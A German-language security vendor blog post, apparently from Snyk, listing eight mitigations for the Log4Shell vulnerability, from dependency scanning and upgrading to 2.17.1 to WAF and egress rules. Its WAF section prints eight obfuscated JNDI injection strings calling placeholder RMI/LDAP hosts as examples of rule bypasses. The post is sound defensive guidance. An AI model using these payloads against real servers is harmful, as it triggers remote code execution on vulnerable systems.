Log4Shell-Maßnahmenübersicht

Anmerkung der Redaktion (28. Dez. 2021, 19:35 Uhr GMT): Das Log4j-Team hat ein neues Sicherheitsupdate veröffentlicht. Dabei wurde festgestellt, dass Version 2.17.0 für Remote Code Execution anfällig ist (CVE-2021-44832). Wir empfehlen, auf die neueste Version zu aktualisieren, die derzeit 2.17.1 ist. Die Lage rund um Log4j verändert sich schnell. Wir aktualisieren unsere Blogbeiträge, sobald neue Informationen verfügbar sind.

Inzwischen haben wir alle von der Log4Shell-Schwachstelle gehört. Diese Übersicht zu Maßnahmen für Log4Shell fasst die wichtigsten Korrekturen und Empfehlungen zusammen, mit denen sich die Gefährdung durch die Schwachstelle begrenzen und das Risiko ihrer Ausnutzung in Produktionssystemen verringern lässt. Bitte beachten Sie, dass dieses Dokument laufend aktualisiert wird, sobald neue Informationen verfügbar sind. Teilen Sie diese Informationen in Ihrer Community, damit alle wissen, wie sie das Problem jetzt aktiv eindämmen können.

In diesem Beitrag stellen wir folgende Empfehlungen zur Behebung vor:

1. Verschaffen Sie sich einen Überblick und ermitteln Sie, wo Ihre Anwendungen Log4j verwenden

2. Aktualisieren Sie auf Log4j 2.17.1 oder höher

3. Entfernen Sie die Lookup-Funktion von Log4j

4. Deaktivieren Sie Lookups über Eigenschaften

5. Ein JDK-Upgrade allein reicht nicht aus

6. Überwachen Sie Projekte mit automatischer PR-Unterstützung

7. Ergänzen Sie WAF-Regeln, um bösartige eingehende Anfragen zu blockieren

8. Beschränken Sie ausgehende Verbindungen ins Internet

Laden Sie die Log4Shell-Maßnahmenübersicht herunter

1. Verschaffen Sie sich einen Überblick und ermitteln Sie, wo Ihre Anwendung Log4j verwendet

Eine der größten Herausforderungen besteht derzeit darin, herauszufinden, wo Log4j in unseren Produktionsumgebungen zum Einsatz kommt. Es kann direkt oder indirekt über die verwendeten Abhängigkeiten in unsere Anwendungen gelangen. Schritt 1 besteht daher darin, festzustellen, ob und wo Sie Log4j verwenden. Beachten Sie, dass Sie es wahrscheinlich verwenden, ohne es zu wissen.

Mit Snyk können Sie alle Projekte in Ihren Git-Repositories vollständig scannen und erhalten einen Bericht über alle direkten und transitiven Abhängigkeiten, die Sie verwenden. Anhand dieses Berichts sehen Sie, ob Log4j eingebunden ist und über wie viele Pfade im Abhängigkeitsgraphen es verwendet wird. Beachten Sie, dass dies im kostenlosen Self-Service-Tarif von Snyk verfügbar ist, sodass Sie sofort loslegen können.

Update: Snyk CLI bietet einen neuen Befehl, der eine Aufgabe erfüllt: Er sucht nach Spuren der Log4j-Bibliothek, die von der Log4Shell-Schwachstelle betroffen ist. snyk log4shell testet Ihr kompiliertes Java-Projekt und findet Spuren der anfälligen Bibliothek, selbst wenn sie nicht in den Manifestdateien aufgeführt ist. Erfahren Sie mehr über snyk log4shell und seine Verwendung in Ihren Projekten.

Alternativ können Sie Ihre Maven-Projekte manuell mit mvn dependency:tree | grep log4j durchsuchen, um zu ermitteln, wo Log4j im Abhängigkeitsbaum der einzelnen Projekte verwendet wird.

2. Aktualisieren Sie auf Log4j 2.17.1 oder höher

Wichtiger Hinweis: Ein Upgrade auf 2.17.1 behebt CVE-2021-44228, CVE-2021-45046, CVE-2021-45105 und CVE-2021-44832.

Das Log4j-Team hat mehrere Schwachstellen in Version 2.17.1 von Log4j behoben. Außerdem wurde die JNDI-Funktionalität standardmäßig deaktiviert, beginnend mit Version 2.16. Aktualisieren Sie nach Möglichkeit umgehend auf Version 2.17.1 oder höher. Das ist jedoch oft leichter gesagt als getan. Wenn Sie Log4j als direkte Abhängigkeit in Ihre Projekte einbinden, lässt sich das möglicherweise recht einfach aktualisieren. Wird Log4j als transitive Abhängigkeit eingebunden – etwa weil eine Abhängigkeit, die Sie verwenden, Log4j nutzt –, müssen Sie diese Abhängigkeit auf eine Version aktualisieren, die Log4j in Version 2.17.1 verwendet. Da es sich um eine sehr neue Schwachstelle handelt, wird es einige Zeit dauern, bis andere Abhängigkeiten aktualisiert werden und diese behobene Log4j-Version enthalten. Bis dahin müssen wir das Risiko auf andere Weise eindämmen.

Hinweis: Wenn Sie in Schritt 1 mit Snyk getestet haben, können Sie, sofern möglich, automatisch aktualisieren. Klicken Sie dazu auf Open a PR. Dadurch wird auf die nächstliegende korrigierte Log4j-Version (zum Zeitpunkt der Erstellung dieses Beitrags 2.17.1) oder auf andere direkte Abhängigkeiten aktualisiert, die Log4j verwenden.

Wenn Sie Gradle verwenden, können Sie mithilfe der Funktion für Abhängigkeitseinschränkungen verhindern, dass Ihr Projekt versehentlich eine anfällige Log4j-Version auflöst. Fügen Sie dazu den folgenden Ausschnitt in Ihren Gradle-Build ein (weitere Informationen finden Sie im Gradle-Blog):

1dependencies {
2    constraints {
3        implementation("org.apache.logging.log4j:log4j-core") {
4            version {
5                strictly("[2.15, 3[")
6                prefer("2.15.0")
7            }
8            because("CVE-2021-44228: Log4j vulnerable to remote code execution")
9        }
10    }
11}

3. Entfernen Sie die Lookup-Funktion von Log4j

Wenn Sie kein Upgrade durchführen können oder das Risiko weiter eindämmen möchten, sollten Sie als Nächstes Log4j die Möglichkeit nehmen, diese Lookups auszuführen. Diese Funktion ist in JndiLookup.class in Ihren Laufzeitumgebungen enthalten. Beachten Sie, dass das Entfernen der Klasse aus laufenden Umgebungen allein nicht ausreicht. Sie müssen auch Ihre JVM-Umgebung neu starten. Wenn Sie beispielsweise einen Tomcat-Server verwenden, müssen Sie ihn herunterfahren und neu starten. Mit folgendem Beispielbefehl lässt sich die Klassendatei aus Ihrer JAR-Datei entfernen:

1zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Es empfiehlt sich außerdem, gleichzeitig weitere Klassen zu entfernen, die bei diesem oder ähnlichen Angriffen genutzt werden könnten. Dazu gehören JndiManager, JMSAppender und SMTPAppender. Beachten Sie, dass das Entfernen von Klassen aus einer Laufzeitumgebung unerwartetes Verhalten verursachen kann.

4. Deaktivieren Sie Lookups über Eigenschaften

Eine weitere Möglichkeit, Lookups bei Log4j-Versionen ab 2.10 programmgesteuert zu deaktivieren, besteht darin, die Systemeigenschaft LOG4J_FORMAT_MSG_NO_LOOKUPS auf true zu setzen oder eine Umgebungsvariable festzulegen: Dlog4j2.formatMsgNoLookups=true. Anhand dieser Variablen ermittelt Log4j, ob Lookups ausgeführt werden sollen.

Wie beim Entfernen von Log4j-Dateien ist auch für diese Änderungen ein Neustart der JVM erforderlich. Das kann beispielsweise bedeuten, dass Sie Ihren Tomcat-Server anhalten und neu starten müssen, damit die neuen Eigenschaften angewendet werden.

Beachten Sie, dass sich dieser Ansatz als nur teilweise wirksam erwiesen hat.

5. Ein JDK-Upgrade allein reicht nicht aus

Erste Empfehlungen legten nahe, dass ein JDK-Upgrade die Schwachstelle eindämmen könnte. Später zeigte sich jedoch, dass es gegen diese Schwachstelle nicht wirksam ist. Das gilt auch für das Setzen von com.sun.jndi.ldap.object.trustURLCodebase auf false.

6. Überwachen Sie Projekte mit automatischer PR-Unterstützung

Da es sich um eine Zero-Day-Schwachstelle handelt, deren Situation sich täglich ändert, sollten Sie sicherstellen, dass Ihre Systeme auch künftig so gut wie möglich geschützt sind. Wenn Sie Snyk verwenden, sollten Sie unbedingt Ihre Projekte überwachen lassen (standardmäßig aktiviert, wenn Sie ein Repository in die Snyk-App importieren). Snyk testet Ihre Projekte dann täglich automatisch und führt zusätzlich Tests durch, wenn Sie Aktualisierungen vornehmen.

Diese täglichen Tests erkennen automatisch, wann Sicherheitsverbesserungen möglich sind und neue Korrekturen angewendet werden können. Wenn Sie beispielsweise Log4j als transitive Abhängigkeit von package A verwenden, muss package A eine Version veröffentlichen, die Log4j in Version 2.17.1 nutzt. Diese Version ist möglicherweise heute noch nicht verfügbar, erscheint aber vielleicht morgen oder nächste Woche. Mit snyk monitor werden Ihre Projekte täglich getestet. Sobald das neue Upgrade verfügbar ist, erhalten Sie eine PR, die Log4j aktualisiert und die Schwachstelle behebt.

Wichtig ist auch: Snyk benachrichtigt Sie über PRs oder andere Mechanismen, wenn weitere Korrekturen für diese Schwachstelle veröffentlicht werden oder neue Angriffsvektoren zu weiteren Schwachstellen führen. So erfahren Sie als Erste, was zu tun ist, falls neue Probleme auftreten.

7. Ergänzen Sie WAF-Regeln, um bösartige eingehende Anfragen zu blockieren

Bisher lag unser Fokus vor allem auf den Maßnahmen in der Anwendung. Es gibt jedoch weitere Schritte, mit denen sich das Risiko außerhalb der Anwendung eindämmen lässt. WAF-Regeln können eingehende Anfragen filtern.

Beachten Sie, dass Sie sich nicht allein auf diesen Ansatz verlassen sollten, da Angreifer jede Stunde neue Angriffsmuster entwickeln, die diese Regeln umgehen können. Möglicherweise müssen Sie die Regeln manuell hinzufügen. Einige WAF-Anbieter, etwa CloudFlare, haben jedoch bereits neue Regeln veröffentlicht, die Anfragen blockieren, die wie bösartige Angriffe auf diese Schwachstelle aussehen. Hier sind einige Beispiele für Angriffsversuche, mit denen Regeln umgangen wurden:

1${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
2${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
3${jndi:rmi://adsasd.asdasd.asdasd}
4${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
5${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
6${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
7${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
8${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://%s}

8. Beschränken Sie ausgehende Verbindungen ins Internet

WAF-Regeln beschränken eingehende Anfragen an Ihre Anwendung. Ebenso wichtig sind jedoch Anfragen, die Ihre Anwendung verlassen, um bösartige LDAP-Anfragen an einen kompromittierten Namensdienst zu senden. Eine Lösung besteht darin, Ihre Egress-Richtlinien anzupassen – beispielsweise über Ihre Kubernetes-Konfiguration oder andere Mechanismen in Ihrer Umgebung –, um ausgehende Anfragen zu beschränken, die bösartige Namensabfragen durch Log4j auszuführen scheinen.

Wie bei WAF-Regeln ist auch dies keine lückenlose Lösung: Über anfällige Gadgets lassen sich weiterhin bösartige Payloads erstellen, selbst ohne externe LDAP-Netzwerkanfrage (zum Beispiel im zuvor beschriebenen Fall mit Tomcat-Servern).

Was ist diese neue Zero-Day-Schwachstelle in Log4j?

Die neue Schwachstelle wurde in der Open-Source-Java-Bibliothek `log4j-core` entdeckt, einer Komponente eines der beliebtesten Java-Logging-Frameworks. Sie wurde mit einem CVSS-Wert von 10 als kritisch eingestuft – dem höchsten möglichen Wert. Bei Verwendung einer anfälligen Log4j-Version können beliebige eingehende Daten, die protokolliert werden, zu Remote Code Execution führen.

Wie schwerwiegend ist die Log4Shell-Schwachstelle?

Die kurze Antwort lautet: „sehr schwerwiegend“! Es handelt sich um eine kritische Sicherheitslücke mit einem CVSS-Wert von 10 – dem höchsten möglichen Wert. Angreifer können dadurch in anfälligen Umgebungen aus der Ferne Code ausführen. Das ist ein ernstes Problem, das dringend behoben werden muss.

Wann wurde diese Log4j-Schwachstelle entdeckt?

Die neue Log4j-Zero-Day-Schwachstelle wurde am Freitag, dem 10. Dezember 2021, bekannt gegeben.

Wer hat die Log4j-Schwachstelle entdeckt?

Die Schwachstelle wurde von Chen Zhaojun vom Cloud-Security-Team von Alibaba entdeckt.